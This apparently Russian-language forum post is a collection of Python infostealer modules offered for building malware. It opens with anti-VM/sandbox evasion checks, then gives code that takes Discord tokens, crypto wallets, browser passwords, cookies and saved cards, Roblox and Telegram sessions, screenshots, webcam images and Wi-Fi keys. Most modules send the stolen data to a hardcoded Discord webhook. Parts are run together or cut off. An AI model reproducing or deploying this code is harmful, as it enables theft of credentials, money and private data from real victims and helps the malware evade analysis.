WID, IP, NAME, GPU, GUIDS, BIOS, и DLL!
pip3 install uuid wmi requests
python3 kerpy.py
sudo apt install python3 && python3-pip
pip3 install smtplib glob
sudo apt install python3 && python3-pip
pip3 install browser_cookie3 browser_history discord_webhook getmac prettytable psutil py_cpuinfo pycountry pycryptodome pywin32 requests pyautogui Pillow
sudo apt install python3 && python3-pip
pip3 install pypiwin32 pycryptodome
pywin32 работает только на винде.
pip3 install pypiwin32 pycryptodome win32crypt Crypto shutil
python Brave.py
sudo apt install python3 && python3-pip
pip3 install dhooks pycryptodome requests psutil browser_cookie3 cryptography
pip3 install pypiwin32 pycryptodome win32crypt Crypto shutil
python Brave.py
sudo apt install python3 && python3-pip
pip3 install dhooks pycryptodome requests psutil browser_cookie3 cryptography
Установка:
sudo apt install python3 && python3-pippip3 install uuid wmi requests
python3 kerpy.py
kerpy.py
Python:
import re, uuid, wmi, requests, os, ctypes, sys, subprocess, socket, platform
def get_base_prefix_compat(): # define all of the checks
return getattr(sys, "base_prefix", None) or getattr(sys, "real_prefix", None) or sys.prefix
def in_virtualenv():
return get_base_prefix_compat() != sys.prefix
if in_virtualenv() == True: # if we are in a vm
sys.exit() # exit
class BypassVM:
def registry_check(self):
reg1 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul")
reg2 = os.system("REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul")
if reg1 != 1 and reg2 != 1:
sys.exit()
def processes_and_files_check(self):
vmware_dll = os.path.join(os.environ["SystemRoot"], "System32\\vmGuestLib.dll")
virtualbox_dll = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll")
process = os.popen('TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="').read()
processList = []
for processNames in process.split(" "):
if ".exe" in processNames:
processList.append(processNames.replace("K\n", "").replace("\n", ""))
if "VMwareService.exe" in processList or "VMwareTray.exe" in processList:
sys.exit()
if os.path.exists(vmware_dll): # Detect vmware dll
sys.exit()
if os.path.exists(virtualbox_dll): # Detect virtualbox dll
sys.exit()
try:
sandboxie = ctypes.cdll.LoadLibrary("SbieDll.dll") # Detect sandbox dll
sys.exit()
except:
pass
def mac_check(self): # Mac detect
mac_address = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
mac_list = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/mac_list.txt").text
if mac_address in mac_list:
sys.exit()
def check_pc(self): # User/Name Detect
vmname = os.getlogin()
vm_name = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_name_list.txt").text
if vmname in vm_name:
sys.exit()
vmusername = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/pc_username_list.txt").text
host_name = socket.gethostname()
if host_name in vmusername:
sys.exit()
def hwid_vm(self): # HWID detect
current_machine_id = str(subprocess.check_output('wmic csproduct get uuid'), 'utf-8').split('\n')[1].strip()
hwid_vm = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/hwid_list.txt").text
if current_machine_id in hwid_vm:
sys.exit()
def checkgpu(self): #GPU Detect
c = wmi.WMI()
for gpu in c.Win32_DisplayConfiguration():
GPUm = gpu.Description.strip()
gpulist = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/gpu_list.txt").text
if GPUm in gpulist:
sys.exit()
def check_ip(self): #IP Detect
ip_list = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/ip_list.txt").text
reqip = requests.get("https://api.ipify.org/?format=json").json()
ip = reqip["ip"]
if ip in ip_list:
sys.exit()
def profiles(): # Guids / Bios Detect etc
machine_guid = uuid.getnode()
guid_pc = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/MachineGuid.txt").text
bios_guid = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/BIOS_Serial_List.txt").text
baseboard_guid = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/BaseBoard_Serial_List.txt").text
serial_disk = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/DiskDrive_Serial_List.txt").text
if machine_guid in guid_pc:
sys.exit()
w = wmi.WMI()
serial_list = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/CPU_Serial_List.txt").text
serial_ = platform.processor()
if serial_ in serial_list:
sys.exit()
for profile in w.Win32_ComputerSystem():
hw_profile_guid = profile.Model
hwprid = requests.get("https://raw.githubusercontent.com/6nz/virustotal-vm-blacklist/main/HwProfileGuid_List.txt").text
if hw_profile_guid in hwprid:
sys.exit()
for bios in w.Win32_BIOS():
bios_check = bios.SerialNumber
if bios_check in bios_guid:
sys.exit()
for baseboard in w.Win32_BaseBoard():
base_check = baseboard.SerialNumber
if base_check in baseboard_guid:
sys.exit()
for disk in w.Win32_DiskDrive():
disk_serial = disk.SerialNumber
if disk_serial in serial_disk:
sys.exit()
test = BypassVM()
test.registry_check()
test.processes_and_files_check()
test.mac_check()
test.check_pc()
test.checkgpu()
test.hwid_vm()
test.check_ip()
test.profiles()Теперь стилеры, которые вы можете вставить во вредоносный скрипт, обфусцировать, создать exe и шлифануть криптером
Почти все требуют стандартного python и данных от дискорд для отправки тудаdiscord_token.py
Python:
import re, os, requests
import json
class Stealer():
def __init__(self, webhook):
self.hook = webhook
self.tokens = []
def GetTokens(self):
LOCAL = os.getenv("LOCALAPPDATA")
ROAMING = os.getenv("APPDATA")
PATHS = {
"Discord" : ROAMING + "\\Discord",
"Discord Canary" : ROAMING + "\\discordcanary",
"Discord PTB" : ROAMING + "\\discordptb",
"Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",
"Opera" : ROAMING + "\\Opera Software\\Opera Stable",
"Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",
"Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default",
'Lightcord' : ROAMING + "\\Lightcord",
'Opera GX' : ROAMING + "\\Opera Software\\Opera GX Stable",
'Amigo' : LOCAL + "\\Amigo\\User Data",
'Torch' : LOCAL + "\\Torch\\User Data",
'Kometa' : LOCAL + "\\Kometa\\User Data",
'Orbitum' : LOCAL + "\\Orbitum\\User Data",
'CentBrowser' : LOCAL + "\\CentBrowser\\User Data",
'7Star' : LOCAL + "\\7Star\\7Star\\User Data",
'Sputnik' : LOCAL + "\\Sputnik\\Sputnik\\User Data",
'Vivaldi' : LOCAL + "\\Vivaldi\\User Data\\Default",
'Chrome SxS' : LOCAL + "\\Google\\Chrome SxS\\User Data",
'Epic Privacy Browser' : LOCAL + "\\Epic Privacy Browser\\User Data",
'Microsoft Edge' : LOCAL + "\\Microsoft\\Edge\\User Data\\Default",
'Uran' : LOCAL + "\\uCozMedia\\Uran\\User Data\\Default",
'Iridium' : LOCAL + "\\Iridium\\User Data\\Default\\Local Storage\\leveld",
'Firefox' : ROAMING + "\\Mozilla\\Firefox\\Profiles",
}
for platform, path in PATHS.items():
path += "\\Local Storage\\leveldb"
if os.path.exists(path):
for file_name in os.listdir(path):
if file_name.endswith(".log") or file_name.endswith(".ldb") or file_name.endswith(".sqlite"):
for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in re.findall(regex, line):
if token + " | " + platform not in self.tokens:
self.tokens.append(token + " | " + platform)
def getuserinfo(self, token):
try:
return requests.get("https://discordapp.com/api/v9/users/@me", headers={"content-type": "application/json", "authorization": token}).json()
except:return None
def buy_nitro(self, token):
try:
r = requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers={'Authorization': token})
if r.status_code == 200:
payment_source_id = r.json()[0]['id']
if '"invalid": ture' in r.text:
r = requests.post(f'https://discord.com/api/v6/store/skus/521847234246082599/purchase', headers={'Authorization': token}, json={'expected_amount': 1,'gift': True,'payment_source_id': payment_source_id})
return r.json()['gift_code']
except:return "None"
def RareFriend(self, token):
friends = ""
try:
req = requests.get("https://discord.com/api/v9/users/@me/relationships", headers={"content-type": "application/json", "authorization": token}).json()
for user in req:
badge = ""
if user["user"]["public_flags"] == 1:badge = "Staff"
elif user["user"]["public_flags"] == 2:badge = "Partner"
elif user["user"]["public_flags"] == 4:badge = "Hypesquad Events"
elif user["user"]["public_flags"] == 8:badge = "BugHunter 1"
elif user["user"]["public_flags"] == 512:badge = "Early"
elif user["user"]["public_flags"] == 16384:badge = "BugHunter 2"
elif user["user"]["public_flags"] == 131072:badge = "Developer"
else:badge = ""
if badge != "":friends += badge + " | " + user['id'] + "\n"
if friends == "":friends += "No Rare Friends"
return friends
except:return "None, Except Error"
def main(self):
embeds = []
for token_line in self.tokens:
try:
token = token_line.split(" | ")[0]
plateform = token_line.split(" | ")[1]
languages = {'da':'Danish, Denmark','de':'German, Germany','en-GB':'English, United Kingdom','en-US':'English, United States','es-ES':'Spanish, Spain','fr':'French, France','hr':'Croatian, Croatia','lt':'Lithuanian, Lithuania','hu':'Hungarian, Hungary','nl':'Dutch, Netherlands','no':'Norwegian, Norway','pl':'Polish, Poland','pt-BR':'Portuguese, Brazilian, Brazil','ro':'Romanian, Romania','fi':'Finnish, Finland','sv-SE':'Swedish, Sweden','vi':'Vietnamese, Vietnam','tr':'Turkish, Turkey','cs':'Czech, Czechia, Czech Republic','el':'Greek, Greece','bg':'Bulgarian, Bulgaria','ru':'Russian, Russia','uk':'Ukranian, Ukraine','th':'Thai, Thailand','zh-CN':'Chinese, China','ja':'Japanese','zh-TW':'Chinese, Taiwan','ko':'Korean, Korea'}
get_infos = self.getuserinfo(token)
username = get_infos["username"] + "#" + get_infos["discriminator"]
user_id = get_infos["id"]
user_avatar = get_infos["avatar"]
try:user_banner = get_infos["banner"]
except:user_banner = None
email = get_infos["email"] or "❌"
phone = get_infos["phone"] or "❌"
local = languages.get(get_infos["locale"])
bio = get_infos["bio"] or "❌"
mmfa = get_infos["mfa_enabled"]
bbilling = bool(len(json.loads(requests.get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers={"content-type": "application/json", "authorization": token}).text)) > 0)
if bbilling == True:billing = "✔️"
else:billing = "❌"
if mmfa == True:mfa = "✔️"
else:mfa = "❌"
badges = ""
flags = get_infos['flags']
if (flags == 1):badges += "Staff, "
if (flags == 2):badges += "Partner, "
if (flags == 4):badges += "Hypesquad Event, "
if (flags == 8):badges += "Green Bughunter, "
if (flags == 64):badges += "Hypesquad Bravery, "
if (flags == 128):badges += "HypeSquad Brillance, "
if (flags == 256):badges += "HypeSquad Balance, "
if (flags == 512):badges += "Early Supporter, "
if (flags == 16384):badges += "Gold BugHunter, "
if (flags == 131072):badges += "Verified Bot Developer, "
if (badges == ""):badges = "❌"
try:
if get_infos["premium_type"] == "1" or get_infos["premium_type"] == 1:nitro_type = "✔️ Nitro Classic"
elif get_infos["premium_type"] == "2" or get_infos["premium_type"] == 2:nitro_type = "✔️ Nitro Boost"
else:nitro_type = "❌ No Nitro"
except:nitro_type = "❌ No Nitro"
nnitro_buyed = self.buy_nitro(token)
if nnitro_buyed == None:nitro_buyed = "❌"
else:nitro_buyed = "✔️ discord.gift/" + nnitro_buyed
embed = {
"color": 0x7289da,
"fields": [
{
"name": "**__User Infos:__**",
"value": f"- __Username:__ `{username}`\n- __User ID:__ `{user_id}`\n- __Email:__ `{email}`\n- __Phone:__ `{phone}`\n- __Nitro Type:__ `{nitro_type}`\n- __Local:__ `{local}`\n- __Badges:__ `{badges}`\n- __Billing:__ `{billing}`\n- __A2F Enable:__ `{mfa}`"
},
{
"name": "__**About:**__",
"value": f"```{bio}```"
},
{
"name": "__**Token:**__",
"value": f"Plateform: **{plateform}**\n```\n{token}\n```"
},
{
"name": "__**Nitro Buy:**__",
"value": f"`{nitro_buyed}`"
},
{
"name": "__**Rare Friends:**__",
"value": f"```{self.RareFriend(token)}```"
}
],
"author": {
"name": f"{username} ({user_id})",
"icon_url": f"https://cdn.discordapp.com/avatars/{user_id}/{user_avatar}"
},
"footer": {
"text": f"Stealer Builder by KanekiWeb - kanekiweb.tk",
"icon_url": f"https://cdn.discordapp.com/avatars/{user_id}/{user_avatar}"
},
"image": {
"url": f"https://cdn.discordapp.com/banners/{user_id}/{user_banner}?size=1024"
},
"thumbnail": {
"url": f"https://cdn.discordapp.com/avatars/{user_id}/{user_avatar}?size=1024"
}
}
embeds.append(embed)
except:pass
requests.post(self.hook, headers={"content-type": "application/json"}, data=json.dumps({"content": "","embeds": embeds,"username": "Stealer Builder","avatar_url": "https://cdn.discordapp.com/avatars/922450497074495539/a_c1738e5280f6e70487ef02d307c62a07?size=1024"}).encode())
Grabber = Stealer("U WEBHOOK URL")
Grabber.GetTokens()
Grabber.main()exodus.py
Python:
import os.path, shutil, requests
user = os.path.expanduser("~")
hook = ""
if os.path.exists(user+"\\AppData\\Roaming\\Exodus"):
shutil.copytree(user+"\\AppData\\Roaming\\Exodus", user+"\\AppData\\Local\\Temp\\Exodus")
shutil.make_archive(user+"\\AppData\\Local\\Temp\\Exodus", "zip", user+"\\AppData\\Local\\Temp\\Exodus")
file = {'file': open(user+"\\AppData\\Local\\Temp\\Exodus.zip", 'rb')}
r = requests.post(hook, files=file)
try:
os.remove(user+"\\AppData\\Local\\Temp\\Exodus.zip")
os.remove(user+"\\AppData\\Local\\Temp\\Exodus")
except:
passmachine.py
Python:
import requests, wmi, subprocess, psutil, platform, json
hook = "https://discord.com/api/webhooks/1073970412322566175/HtYFF6lf77URUMpHJPH-egvs0iOSEsYV6yXuuPmw3QGvXG1A_rJRFYX3z9p6jYcRrjgl"
def get_mac_address():
for interface, addrs in psutil.net_if_addrs().items():
if interface == "Wi-Fi":
for addr in addrs:
if addr.family == psutil.AF_LINK:
mac = addr.address
return mac
def machineinfo():
mem = psutil.virtual_memory()
c = wmi.WMI()
for gpu in c.Win32_DisplayConfiguration():
GPUm = gpu.Description.strip()
current_machine_id = str(subprocess.check_output('wmic csproduct get uuid'), 'utf-8').split('\n')[1].strip()
reqip = requests.get("https://api.ipify.org/?format=json").json()
mac = get_mac_address()
payload = {
"embeds": [
{
"title": "Machine Info",
"username": "github.com/lawxsz",
"avatar_url": "https://cdn.discordapp.com/attachments/1073683220148785222/1077827511691530240/photo_2022-10-01_18-57-36.jpg",
"description": "Github.com/Lawxsz/make-u-own-stealer",
"fields": [
{
"name": ":computer: PC",
"value": f"`{platform.node()}`",
"inline": True
},
{
"name": ":desktop: OS:",
"value": f"`{platform.platform()}`",
"inline": True
},
{
"name": ":wrench: RAM",
"value": f"`{mem.total / 1024**3} GB`",
"inline": True
},
{
"name": ":pager: GPU",
"value": f"`{GPUm}`",
"inline": True
},
{
"name": ":zap: CPU",
"value": f"`{platform.processor()}`",
"inline": True
},
{
"name": ":key: HWID",
"value": f"`{current_machine_id}`",
"inline": True
},
{
"name": ":label: MAC",
"value": f"`{mac}`",
"inline": True
},
{
"name": ":crossed_swords: IP",
"value": f"`{reqip['ip']}`",
"inline": True
}
]
}
]
}
headers = {
"Content-Type": "Application/Json"
}
r = requests.post(hook, data=json.dumps(payload), headers=headers)
machineinfo()metamask.py
Python:
import requests, os, os.path, shutil
user = os.path.expanduser("~")
hook = "https://discord.com/api/webhooks/1073970412322566175/HtYFF6lf77URUMpHJPH-egvs0iOSEsYV6yXuuPmw3QGvXG1A_rJRFYX3z9p6jYcRrjgl"
def make(args, brow, count):
try:
if os.path.exists(args):
shutil.copytree(args, user+f"\\AppData\\Local\\Temp\\Metamask_{brow}")
print(f"New Wallet found! : Total: {count}\nWallet: MetaMask_{brow}")
except shutil.Error:
pass
shutil.make_archive(user+f"\\AppData\\Local\\Temp\\Metamask_{brow}", "zip", user+f"\\AppData\\Local\\Temp\\Metamask_{brow}")
file = {"file": open(user+f"\\AppData\\Local\\Temp\\Metamask_{brow}.zip", 'rb')}
r = requests.post(hook, files=file)
os.remove(user+f"\\AppData\\Local\\Temp\\Metamask_{brow}")
os.remove(user+f"\\AppData\\Local\\Temp\\Metamask_{brow}.zip")
def yea():
meta_paths = [
[f"{user}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm", "Edge" ],
[f"{user}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn", "Edge" ],
[f"{user}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn", "Brave" ],
[f"{user}\\AppData\\Local\\Google\\Chrome\\User Data\Default\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn" "Google" ],
[f"{user}\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn", "OperaGX" ]
]
count = 0
try:
for i in meta_paths:
make(i[0], brow=i[1], count=count)
count+=1
except IndexError:
pass
yea()passwords_cards_cookies.py
Python:
import os, requests, json, base64, sqlite3, shutil
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
from datetime import datetime
hook = "https://discord.com/api/webhooks/1073970412322566175/HtYFF6lf77URUMpHJPH-egvs0iOSEsYV6yXuuPmw3QGvXG1A_rJRFYX3z9p6jYcRrjgl"
appdata = os.getenv('LOCALAPPDATA')
user = os.path.expanduser("~")
browsers = {
'amigo': appdata + '\\Amigo\\User Data',
'torch': appdata + '\\Torch\\User Data',
'kometa': appdata + '\\Kometa\\User Data',
'orbitum': appdata + '\\Orbitum\\User Data',
'cent-browser': appdata + '\\CentBrowser\\User Data',
'7star': appdata + '\\7Star\\7Star\\User Data',
'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data',
'microsoft-edge': appdata + '\\Microsoft\\Edge\\User Data',
'uran': appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': appdata + '\\Iridium\\User Data',
}
def get_master_key(path: str):
if not os.path.exists(path):
return
if 'os_crypt' not in open(path + "\\Local State", 'r', encoding='utf-8').read():
return
with open(path + "\\Local State", "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
def decrypt_password(buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def save_results(browser_name, data_type, content):
if not os.path.exists(user+'\\AppData\\Local\\Temp\\Browser'):
os.mkdir(user+'\\AppData\\Local\\Temp\\Browser')
if not os.path.exists(user+f'\\AppData\\Local\\Temp\\Browser\\{browser_name}'):
os.mkdir(user+f'\\AppData\\Local\\Temp\\Browser\\{browser_name}')
if content is not None:
open(user+f'\\AppData\\Local\\Temp\\Browser\\{browser_name}\\{data_type}.txt', 'w', encoding="utf-8").write(content)
def get_login_data(path: str, profile: str, master_key):
login_db = f'{path}\\{profile}\\Login Data'
if not os.path.exists(login_db):
return
result = ""
shutil.copy(login_db, user+'\\AppData\\Local\\Temp\\login_db')
conn = sqlite3.connect(user+'\\AppData\\Local\\Temp\\login_db')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for row in cursor.fetchall():
password = decrypt_password(row[2], master_key)
result += f"""
URL: {row[0]}
Email: {row[1]}
Password: {password}
"""
conn.close()
os.remove(user+'\\AppData\\Local\\Temp\\login_db')
return result
def get_credit_cards(path: str, profile: str, master_key):
cards_db = f'{path}\\{profile}\\Web Data'
if not os.path.exists(cards_db):
return
result = ""
shutil.copy(cards_db, user+'\\AppData\\Local\\Temp\\cards_db')
conn = sqlite3.connect(user+'\\AppData\\Local\\Temp\\cards_db')
cursor = conn.cursor()
cursor.execute(
'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards')
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
card_number = decrypt_password(row[3], master_key)
result += f"""
Name Card: {row[0]}
Card Number: {card_number}
Expires: {row[1]} / {row[2]}
Added: {datetime.fromtimestamp(row[4])}
"""
conn.close()
os.remove(user+'\\AppData\\Local\\Temp\\cards_db')
return result
def get_cookies(path: str, profile: str, master_key):
cookie_db = f'{path}\\{profile}\\Network\\Cookies'
if not os.path.exists(cookie_db):
return
result = ""
shutil.copy(cookie_db, user+'\\AppData\\Local\\Temp\\cookie_db')
conn = sqlite3.connect(user+'\\AppData\\Local\\Temp\\cookie_db')
cursor = conn.cursor()
cursor.execute('SELECT host_key, name, path, encrypted_value,expires_utc FROM cookies')
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2] or not row[3]:
continue
cookie = decrypt_password(row[3], master_key)
result += f"""
Host Key : {row[0]}
Cookie Name : {row[1]}
Path: {row[2]}
Cookie: {cookie}
Expires On: {row[4]}
"""
conn.close()
os.remove(user+'\\AppData\\Local\\Temp\\cookie_db')
return result
def get_web_history(path: str, profile: str):
web_history_db = f'{path}\\{profile}\\History'
result = ""
if not os.path.exists(web_history_db):
return
shutil.copy(web_history_db, user+'\\AppData\\Local\\Temp\\web_history_db')
conn = sqlite3.connect(user+'\\AppData\\Local\\Temp\\web_history_db')
cursor = conn.cursor()
cursor.execute('SELECT url, title, last_visit_time FROM urls')
for row in cursor.fetchall():
if not row[0] or not row[1] or not row[2]:
continue
result += f"""
URL: {row[0]}
Title: {row[1]}
Visited Time: {row[2]}
"""
conn.close()
os.remove(user+'\\AppData\\Local\\Temp\\web_history_db')
return result
def get_downloads(path: str, profile: str):
downloads_db = f'{path}\\{profile}\\History'
if not os.path.exists(downloads_db):
return
result = ""
shutil.copy(downloads_db, user+'\\AppData\\Local\\Temp\\downloads_db')
conn = sqlite3.connect(user+'\\AppData\\Local\\Temp\\downloads_db')
cursor = conn.cursor()
cursor.execute('SELECT tab_url, target_path FROM downloads')
for row in cursor.fetchall():
if not row[0] or not row[1]:
continue
result += f"""
Download URL: {row[0]}
Local Path: {row[1]}
"""
conn.close()
os.remove(user+'\\AppData\\Local\\Temp\\downloads_db')
def installed_browsers():
results = []
for browser, path in browsers.items():
if os.path.exists(path):
results.append(browser)
return results
if __name__ == '__main__':
available_browsers = installed_browsers()
for browser in available_browsers:
browser_path = browsers[browser]
master_key = get_master_key(browser_path)
save_results(browser, 'Saved_Passwords', get_login_data(browser_path, "Default", master_key))
save_results(browser, 'Browser_History', get_web_history(browser_path, "Default"))roblox.py
Python:
import requests, robloxpy, json, browser_cookie3, os.path
user = os.path.expanduser("~")
hook = "https://discord.com/api/webhooks/1073970412322566175/HtYFF6lf77URUMpHJPH-egvs0iOSEsYV6yXuuPmw3QGvXG1A_rJRFYX3z9p6jYcRrjgl"
def robloxl():
data = []
try:
cookies = browser_cookie3.chrome(domain_name='roblox.com')
for cookie in cookies:
print(cookie)
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.brave(domain_name='roblox.com')
for cookie in cookies:
print(cookie)
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.firefox(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.chromium(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.edge(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
print("L")
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
try:
cookies = browser_cookie3.opera(domain_name='roblox.com')
for cookie in cookies:
if cookie.name == '.ROBLOSECURITY':
data.append(cookies)
data.append(cookie.value)
return data
except:
pass
cookiesrbx = robloxl()
def rbxsteal():
roblox_cookie = cookiesrbx[1]
isvalid = robloxpy.Utils.CheckCookie(roblox_cookie)
if isvalid == "Valid Cookie":
isvalid = "Valid"
else:
exit()
ebruh = requests.get("https://www.roblox.com/mobileapi/userinfo",cookies={".ROBLOSECURITY":roblox_cookie})
info = json.loads(ebruh.text)
rid = info["UserID"]
rap = robloxpy.User.External.GetRAP(rid)
friends = robloxpy.User.Friends.External.GetCount(rid)
age = robloxpy.User.External.GetAge(rid)
dnso = None
crdate = robloxpy.User.External.CreationDate(rid)
rolimons = f"https://www.rolimons.com/player/{rid}"
roblox_profile = f"https://web.roblox.com/users/{rid}/profile"
headshot = robloxpy.User.External.GetHeadshot(rid)
limiteds = robloxpy.User.External.GetLimiteds(rid)
username = info['UserName']
robux = info['RobuxBalance']
premium = info['IsPremium']
result = open(user + "\\AppData\\Local\\Temp\\cookierbx.txt", "w")
result.write(cookiesrbx[1])
result.close()
payload = {
"embeds": [
{
"title": "Roblox Stealer!",
"description": "Github.com/Lawxsz/make-u-own-stealer",
"fields": [
{
"name": "Username",
"value": username,
"inline": True
},
{
"name": "Robux Balance",
"value": robux,
"inline": True
},
{
"name": "Premium",
"value": premium,
"inline": True
},
{
"name": "Builders Club",
"value": info["IsAnyBuildersClubMember"],
"inline": True
},
{
"name": "Friends",
"value": friends,
"inline": True
},
{
"name": "Profile",
"value": roblox_profile,
"inline": True
},
{
"name": "Age",
"value": crdate,
"inline": True
},
]
}
]
}
headers = {
'Content-Type': 'application/json'
}
file = {"file": open(user+f"\\AppData\\Local\\Temp\\cookierbx.txt", 'rb')}
r = requests.post(hook, data=json.dumps(payload), headers=headers)
fil = requests.post(hook, files=file)
rbxsteal()screenshot.py
Python:
import os.path, requests, os
from PIL import ImageGrab
user = os.path.expanduser("~")
hook = ""
captura = ImageGrab.grab()
captura.save(user+"\\AppData\\Local\\Temp\\ss.png")
file = {"file": open(user+"\\AppData\\Local\\Temp\\ss.png", "rb")}
r = requests.post(hook, files=file)
try:
os.remove(user+"\\AppData\\Local\\Temp\\ss.png")
except:
passsteam.py
telegram.py
Python:
py
import os, os.path, shutil, requests
user = os.path.expanduser("~")
hook = "https://discord.com/api/webhooks/1073970412322566175/HtYFF6lf77URUMpHJPH-egvs0iOSEsYV6yXuuPmw3QGvXG1A_rJRFYX3z9p6jYcRrjgl"
def telegram():
if os.path.exists(user+"\\AppData\\Roaming\\Telegram Desktop\\tdata"):
try:
shutil.copytree(user+'\\AppData\\Roaming\\Telegram Desktop\\tdata', user+'\\AppData\\Local\\Temp\\tdata_session')
shutil.make_archive(user+'\\AppData\\Local\\Temp\\tdata_session', 'zip', user+'\\AppData\\Local\\Temp\\tdata_session')
except:
pass
try:
os.remove(user+"\\AppData\\Local\\Temp\\tdata_session")
except:
pass
with open(user+'\\AppData\\Local\\Temp\\tdata_session.zip', 'rb') as f:
payload = {
'file': (user+'\\AppData\\Local\\Temp\\tdata_session.zip', f, 'zip')
}
r = requests.post(hook, files=payload)
telegram()webcam.py
Python:
import os.path, os, cv2, requests
user = os.path.expanduser("~")
hook = ""
camera_port = 0
camera = cv2.VideoCapture(camera_port)
return_value, image = camera.read()
cv2.imwrite(user+"\\AppData\\Local\\Temp\\temp.png", image)
del(camera)
file = {"file": open(user+"\\AppData\\Local\\Temp\\temp.png", "rb")}
r = requests.post(hook, files=file)
try:
os.remove(user+"\\AppData\\Local\\Temp\\temp.png")
except:
passsudo apt install python3 && python3-pip
pip3 install smtplib glob
wifi.py
Python:
import os
import smtplib
import subprocess
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import glob
system_information = "Informations.txt"
var = 2
# LOOK READ.ME FOR GET USERNAME AND PASSWORD.
# ==============================
# ==============================
YOUR_USERNAME = "YOUR_USERNAME"
YOUR_PASSWORD= "YOUR_PASSWORD"
# ==============================
# ==============================
file_path = os.getcwd()
sender = "Private Person <from@example.com>"
receiver = "A Test User <to@example.com>"
message = f"""\
Subject: aydinnyunus have sent you message
To: {receiver}
From: {sender}
WIFI PASSWORD STEALER by aydinnyunus.\n"""
if os.name == "nt":
output = subprocess.check_output("netsh wlan show profile", shell=True)
output = str(output)
start = output.find("Profile :")
end = output.find("\\r\\n")
substring = output[start:end]
list_of_word = output.split()
j = 2
with open(file_path + "\\" + system_information, "w") as f:
f.write("All of Registered Connections\n")
f.write("==================================\n")
f.close()
for word in output.split():
if word == "Profile":
next_word = list_of_word[list_of_word.index(word) + j]
next_word = next_word.split('\\r\\n')[0]
k = j + 1
try:
while "All" not in next_word:
next_word += " " + list_of_word[list_of_word.index(word) + k]
k = k + 1
except:
pass
next_word = next_word.split('\\r\\n')[0]
if ':' in next_word:
next_word = next_word.split(':')[1]
if ' ' in next_word:
next_word = next_word.replace(' ', "")
wifi = subprocess.check_output('netsh wlan show profile ' + '"' + next_word + '"' + ' key=clear',
shell=True)
wifi = str(wifi)
start = wifi.find("Key Content")
end = wifi.find("Cost settings")
key_content = "Content"
